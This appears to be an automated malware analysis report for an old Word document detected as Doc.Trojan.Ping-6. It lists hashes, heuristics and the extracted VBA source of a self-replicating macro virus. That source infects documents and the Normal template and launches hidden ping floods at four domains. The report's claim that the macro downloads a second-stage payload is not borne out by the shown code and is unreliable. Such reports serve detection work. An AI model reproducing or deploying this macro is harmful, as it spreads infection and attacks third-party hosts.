Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 68a570c6b15b29b0…

MALICIOUS

Office (OLE)

32.5 KB Created: 1997-09-17 10:18:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 110cbe4ff036c3bd465c9b12b97f3d41 SHA-1: a3e69f7e2a910d2aaaec9f994021a6211f55f0ba SHA-256: 68a570c6b15b29b014c8a3fe96016c3e1672add098c60daf7772da0b4ffe391a
380 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The sample contains a Document_Open VBA macro that utilizes the Shell() function to execute ping commands. These commands attempt to contact several suspicious domains: 'innocentangels.com', 'whitesonly.net', 'kkk.com', and 'daddysgirl.com'. This behavior suggests the macro is designed to download and execute a second-stage payload, likely leading to further malicious activity.

Heuristics 8

  • ClamAV: Doc.Trojan.Ping-6 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Ping-6
  • Embedded Office document has suspicious static findings critical EMBEDDED_OFFICE_CHILD_STATIC_TRIAGE
    A CFB/OLE Office document was found inside another file type and its carved contents matched Office exploit or payload heuristics. This catches wrapped exploit documents where the top-level file routes to a PE, archive, or generic scanner instead of Office.
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • CFB header with no readable streams medium OLE_PARSE_EMPTY_STREAMS
    The file begins with a valid OLE2/CFB header but exposes no directory streams. A non-empty compound document with an unreadable directory is anomalous — it is seen with truncated/corrupt files and, more importantly, with content deliberately shifted off byte boundaries to defeat parsers while the host application still recovers the object.

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1440 bytes
SHA-256: 1ed9c96610ba0b34e91ff63c6d9e3145425ecb18d9ae075b329b92f731c23526
Detection
ClamAV: Doc.Trojan.Ping-6
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Open()
On Error Resume Next
Application.DisplayStatusBar = False
Application.DisplayAlerts = False
'Options.ConfirmConversions = False
'Options.SaveNormalPrompt = False
Application.EnableCancelKey = False
SAVIT = ActiveDocument.Saved
Set ACT = ActiveDocument.VBProject.VBComponents(1).CodeModule
Set TIS = ThisDocument.VBProject.VBComponents(1).CodeModule
Set NRM = NormalTemplate.VBProject.VBComponents(1).CodeModule
If ACT.CountOfLines < TIS.CountOfLines Then
ACT.AddFromString TIS.Lines(1, TIS.CountOfLines)
ActiveDocument.Save
ElseIf NRM.CountOfLines < TIS.CountOfLines Then
NRM.AddFromString TIS.Lines(1, TIS.CountOfLines)
End If
Shell " ping -l 5000 -t innocentangels.com", vbHide
Shell " ping -l 5000 -t whitesonly.net", vbHide
Shell " ping -l 5000 -t kkk.com", vbHide
Shell " ping -l 5000 -t daddysgirl.com", vbHide
ActiveDocument.Saved = SAVIT
'W97M/Koyaanisqatsi (c) Opic [CodeBreakers 1999]
'World out of Balance.
End Sub


Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_Te
embedded_office_off00004e9e.ole embedded-office Embedded OLE/CFB Office body inside ole container at offset 0x4E9E 13154 bytes
SHA-256: 35692cdc2e4af6127e20c55f2f04b5d62924f116ae7ac26de1a71e160d34dd81

Open this report in the interactive analyzer, or submit your own file for analysis.